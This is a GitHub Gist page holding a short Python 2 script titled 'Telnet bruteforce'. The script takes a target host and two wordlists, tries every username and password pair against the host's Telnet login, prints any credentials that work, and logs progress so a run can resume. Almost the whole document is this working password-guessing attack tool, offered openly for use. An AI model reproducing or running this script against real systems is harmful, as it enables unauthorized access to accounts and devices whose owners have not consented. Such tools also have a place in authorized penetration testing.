Created
June 9, 2016 17:46
-
-
Save itsecurityco/201c8114dd522b0e048de4dc8e6d45d5 to your computer and use it in GitHub Desktop.
Telnet bruteforce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Telnet bruteforce | |
Author: Juan Escobar | |
Twitter: @itsecurityco | |
""" | |
import sys | |
import os | |
import telnetlib | |
# Modified according to requirements | |
USERNAME_LABEL = "Username:" | |
PASSWORD_LABEL = "Password:" | |
ERROR_RESPONSE = "Error: Failed to authenticate." | |
# Modified according to requirements | |
log_file = "telnet.log" | |
usage = "Usage: python %s host username_wordlist password_wordlist" % sys.argv[0] | |
if len(sys.argv) < 4: | |
print usage | |
exit(0) | |
host = sys.argv[1] | |
handle = open(sys.argv[2], 'r') | |
users = handle.read().splitlines() | |
handle.close() | |
handle = open(sys.argv[3], 'r') | |
passwords = handle.read().splitlines() | |
handle.close() | |
session = False | |
if os.path.isfile(log_file): | |
session = True | |
handle = open(log_file, 'r') | |
session_last = handle.read().strip().split(":") | |
handle.close() | |
os.remove(log_file) | |
print "Telnet bruteforce" | |
for password in passwords: | |
for user in users: | |
if session == True: | |
if session_last[0] == user and session_last[1] == password: | |
session = False | |
else: | |
continue | |
try: | |
tn = telnetlib.Telnet(host) | |
tn.read_until(USERNAME_LABEL) | |
tn.write(user + "\n") | |
tn.read_until(PASSWORD_LABEL) | |
tn.write(password + "\n") | |
print "[*] Trying '%s:%s' ..." % (user, password) | |
error = tn.read_until(ERROR_RESPONSE) | |
if error.find(ERROR_RESPONSE) != -1: | |
print error | |
pass | |
else: | |
print "[!] Credentials found: %s:%s" % (user, password) | |
exit(0) | |
print tn.close() | |
except: | |
handle = open(log_file, "w") | |
handle.write("%s:%s" % (user, password)) | |
handle.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment